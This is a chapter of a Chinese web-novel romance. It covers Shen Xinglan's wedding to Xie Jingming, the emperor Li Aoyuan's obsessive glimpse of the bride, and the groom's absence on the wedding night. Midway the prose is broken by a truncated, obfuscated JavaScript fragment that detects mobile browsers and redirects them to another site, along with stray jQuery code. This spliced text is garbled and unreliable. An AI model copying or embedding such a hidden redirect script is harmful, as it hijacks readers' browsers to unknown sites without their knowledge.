4. 惊鸿一瞥!
作品:《夺臣妻》 次日午后,沈星澜正在小憩,外头突然传来一阵喧闹声,她被这阵嘈杂的声音吵醒,脑袋有些昏沉,她撩开床幔,对外头唤道:“青萝,出什么事了?”
青萝闻声撩开帘子进了里屋,见她披着外衣靠在穿头,便倒了杯温热的茶水给她,看着她喝下了,才有些踟蹰道:“是三小姐,她知道了小姐和小侯爷成婚的消息,气不过,便来我们院里闹事,被守门的婆子拦了下来。”
沈府的主家人丁单薄,华阳长公主只生了一男一女,沈磐和沈昭玥,沈知微剩下的孩子便是沈星澜,夹在二人中间,排行第二。
沈星澜面上毫无波澜,李蓉不知和沈知微达成了什么约定,才能让这位目中无人的长公主后退这一大步,但无论李蓉得到了什么,总归她并未考虑过自己亲身女二的心情,就这般将她的心上人拱手相让。
她或许应该感谢这位长公主。
正如此时,门口喧闹声渐渐小了下来,似是有人来将她劝下,只余些许哭声传来,最后也渐渐远去,直到她的小院再度回归宁静。
接下来的一个月,沈星澜都在安心备嫁,准备嫁衣,绣盖头,喝着浓稠苦涩的汤药,将身体养好,这期间她来了一次月事,疼得她浑身直冒冷汗,紧闭着眼蜷缩在床榻上,动弹不得。
青萝在一旁瞧着直抹眼泪,恨不得能替她受了这份苦,却无可奈何,只能给她暖汤婆子,再煮几个红糖鸡蛋。
这次月事也分外短暂,稀稀拉拉地来了不过三日便结束了,沈星澜从前的月事不能说月月准时,但每月也是稳定在五日左右,唯独这月这般异常,大概是受那碗避子汤的影响了。
一直到月事结束了,青萝还是闷闷不乐的郁郁模样,沈星澜只得安慰她:“左不过再十来日,我们便离开沈府了,到那时,长公主就再也碍不着我们了,开心些。”
青萝仔细一想,倒也是,这憋屈的日子十来年都忍着过了,还忍不过这十几日吗?她立即起身,斗志昂扬道:“我再去清点一下小姐的嫁妆。”
看着她欢快的背影,沈星澜笑意渐收,身体是她自己的,她心中如何能不难受,这些日子以来,李蓉虽没再暗地里使些阴招,但明明大婚在即,院里院外却瞧不见半点喜庆的颜色,这难免让她心下惴惴不安。
大婚前一晚,沈星澜终于被允许离开自己的小院,和老太太告别,老太太这些年身子一直不好,连续几年,大夫皆言难以过冬,她躺在床榻上奄奄一息,却撑过了一个又一个的严冬。
老太太的屋内常年积聚着药味,沈星澜从屋外进来,带进了些许春日的花香气,许是这些微新鲜的气息,老太太缓缓睁开了眼,眼白浑浊泛黄,如同古朴的书页一般,沈星澜握着她枯树枝丫般的手,轻声唤道:“祖母,我要成婚了。”
“成婚……”她声音沙哑,古井无波的眼眸却泛起亮光,“……是谁。”
“你也认识的,是景明哥哥,他温润谦和,会对我好的,您可以放心了。”
老太太微不可查地点了点头:“好……离开这里,好。”
她的眼帘渐渐合上,老太太近来总是精神不济,沈星澜连忙轻唤两声,看着她胸前微弱的起伏,知道她只是疲惫睡去,心下稍安。
次日,沈星澜还未睡着,便被叫起来梳妆,她一夜未眠,本应该困倦疲惫,但或许是心情激荡,竟比平日更显神采奕奕。
她坐在梳妆镜前,在铜镜中和青萝对视,二人眼里满是欣喜的期盼,不由得相视一笑。
沈星澜手中拉扯着喜帕,强压下心中的不安,这场婚事不是她精心筹划的,仿佛是上天为了偿还她过往所受的磋磨而送的大礼,异常顺利,这十几年来,她无数次期盼能逃离这座宅邸,可当这一天这般轻易地到来,教她觉得十分不真实。
李蓉便这般轻易地放她离开?沈昭玥会这般轻易地放过她?
婚事未成,便没有尘埃落定,她的心也始终高高悬挂着,无法平息。
这种不安一直持续到她盖着红盖头出门,接过谢景明递来的红绸,青萝似是知道她的紧张与不安,悄悄在她耳旁道:“小姐放心,是小侯爷。”
直到这一刻,她悬着的心终于稍稍放下。
她困守小院,平日里的消息来源便是青萝,即便看过婚贴上的名字,也担心或许是李蓉同沈知微做的一个局,一边将她稳住,背地里却定下旁的婚事,这种被旁人随意掌控人生不安,如影随形,难以摆脱,令她终日惶惶不安。
喜轿外,吹吹打打,鞭炮声,四周看热闹的人的交谈声,各种声响交杂在一起,十分嘈杂,沈星澜一向喜静,此刻却也觉得十分悦耳,在这种喧闹中感到些许安宁。她将红盖头摘下,将袖中青萝为她准备的糕点拿出,打开包裹着的手帕,吃了起来。
在摇晃的喜轿中吃了两块,沈星澜觉得有些干巴,正准备收起来,轿子却突然停了下来,她的心剧烈跳动了起来,但好在吹打声并未停下,人群的喧闹也是依旧,大概是前方道路拥堵。
京中贵人多,马车自然也多,偶尔在路上走走停停也应该是寻常,她想掀开车帘看看情况,却又想起喜娘的嘱托,新郎掀盖头前,千万不能让人瞧见新娘的面容。
就在此时,一阵风忽将轿帘吹起,沈星澜转头去瞧,却只能看见马腹在眼前一闪而过,大概是有人骑马路过,带动的风将轿帘掀起,虽然并未瞧见人,她还是惊慌地又将盖头盖好,安分地端坐着。
不一会,喜轿再次摇晃了起来,这一回,直到下轿,再未有波澜。
拜堂,礼成,入洞房。
婚房内,沈星澜按捺住想掀盖头打量四周的想法,有些紧张地挺直脊背,端坐在床榻边沿。
这是景明哥哥住的寝屋,只要一想到这点,她便心情激荡,即便知道为了迎接新妇,屋内的摆设定是做了许多改变,却依旧难掩她的好奇,她暗自在心中想象,他在这屋里读书习字,洗漱穿衣安寝,而以后,他们便会一同在这屋里做这些事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141148|196343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>原来这便是夫妻,生时同食同眠,死后同寝同穴。
她心中漾起丝丝甜蜜,方才在花轿上吃糕点的甜味,此刻好似还残留在她口中。
***
未央宫中,李骜渊枕着手臂,仰躺在御榻上,睁眼瞧着明黄的床帐,久久未能安眠,眼前一幕幕闪过的,皆是那张含羞带怯的面庞。
谢景明早已行过冠礼,承袭了永定侯的爵位,老侯爷为国捐躯,他大婚,李骜渊亲临庆贺也是应该,更何况两人还有一层舅甥关系。
是以白日,御驾亲临,本是计划之中的,而他却并未出现在御驾中,而是趁御驾前方开道的护卫拦住接亲队伍之际,独自打马从花轿旁路过,就在与花轿擦肩而过之际,他一时兴起,撩开了轿帘。
惊鸿一瞥。
红衣素手,含羞带怯,娇嫩的面庞,扑闪的羽睫,好似挠过他的心间,带来一阵痒意,但因为连隔靴搔痒都做不到,这股痒意,便一直在他心中作祟,直到夜深之际,更是心痒难耐。
世人皆说,金风玉露一相逢,便胜却人间无数。
可他幼时见过母妃与侍卫苟且,肉/欲横流的场面,没有丝毫美感可言,不过是兽/欲的逞凶,自那以后,他便于男女之事上变得极为冷淡,瞧见旁人恩爱甜蜜,也只是嗤笑,他始终觉得,是父皇年老体虚,母亲却年轻娇艳,寂寞难耐才如此行事。
只是,总是同一人频繁出入母妃宫中,过于可疑,于是他暗中解决了那人,又为母妃寻了更为可靠隐蔽的新面首,母妃却为此大发雷霆,甚至欲同他决裂。
彼时的他并不明白,现在却好似有些明,母妃的怒意何在,如今在他心中,沈星澜也同旁的女子有了些许不同。
可这些许不同,却是在她嫁人时才领悟到的,他与她的初见,她正是待嫁的新娘,这般的开端,便注定二人再无可能,他甚至无法像母妃那般,将她养在暗处,永定侯的妻子,总归不能像寻常的面首一般,任他摆弄。
李骜渊长长叹了口气,喃喃自语道:“当真是可惜。”
谢景明为了娶她特意求圣旨赐婚,虽然后来由于种种原因,旨意未下,但总归,他也是全心全意想要求娶,沈星澜更是为了他,连婚前失贞的事都干得出来。
或许这一场闹剧,就是这对有情人将计就计,而李元徽这个傻子,不过白白替他们做了嫁衣。
如今二人皆得偿所愿,新婚之夜,洞房花烛,定是无尽的恩爱缠绵罢。
然而此时,永定侯府的婚房内,沈星澜已用过两杯茶水,吃完了点心,困倦到昏昏欲睡之际,谢景明却依旧未回到婚房。
青萝看着那顶着红盖头,时不时小鸡啄米的脑袋,终究忍耐不住,不顾沈星澜方才的劝阻,出门寻人打探。
半响,她青白着脸回了屋。
见自家小姐强忍困意靠在床头柱,始终不敢睡下,她鼻头一酸,将人唤醒。
“小姐,我们先睡吧,侯爷他……他不会来了。”

